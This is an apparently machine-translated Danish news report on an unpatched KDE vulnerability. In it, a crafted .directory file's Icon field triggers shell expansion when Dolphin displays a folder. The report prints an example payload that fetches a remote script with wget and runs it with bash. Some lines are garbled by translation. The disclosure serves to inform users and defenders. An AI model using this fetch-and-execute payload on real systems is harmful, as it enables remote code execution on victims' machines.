KDE-kodeeksekveringssårbarhed ved visning af en liste over filer

I KDE identificeret sårbarhed, som gør det muligt for en angriber at udføre vilkårlige kommandoer, når en bruger ser en mappe eller et arkiv, der indeholder specialdesignede ".desktop"- og ".directory"-filer. Et angreb kræver, at brugeren blot får vist en liste over filer i Dolphin filhåndtering, downloader en ondsindet skrivebordsfil eller trækker en genvej til skrivebordet eller ind i et dokument. Problemet viser sig i den nuværende udgivelse af biblioteker KDE-rammer 5.60.0 og ældre versioner, op til KDE 4. Sårbarheden er stadig forbliver ukorrigeret (CVE ikke tildelt).

Problemet er forårsaget af en forkert implementering af KDesktopFile-klassen, som ved behandling af "Icon"-variablen uden korrekt escape sender værdien til KConfigPrivate::expandString()-funktionen, som udfører udvidelse af shell-specialtegn, inklusive behandling strengene "$(..)" som kommandoer, der skal udføres . I modsætning til kravene i XDG-specifikationen, implementering afsløring skalkonstruktioner fremstilles uden at adskille typen af ​​indstillinger, dvs. ikke kun når du bestemmer kommandolinjen for programmet, der skal startes, men også når du angiver de ikoner, der vises som standard.

For eksempel at angribe er tilstrækkelig send brugeren et zip-arkiv med en mappe, der indeholder en ".directory"-fil som denne:

[Desktop Entry] Type=Mappebog
Ikon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Når du prøver at se indholdet af arkivet i Dolphin filhåndtering, vil scriptet https://example.com/FILENAME.sh blive downloadet og udført.


Kilde: opennet.ru

Tilføj en kommentar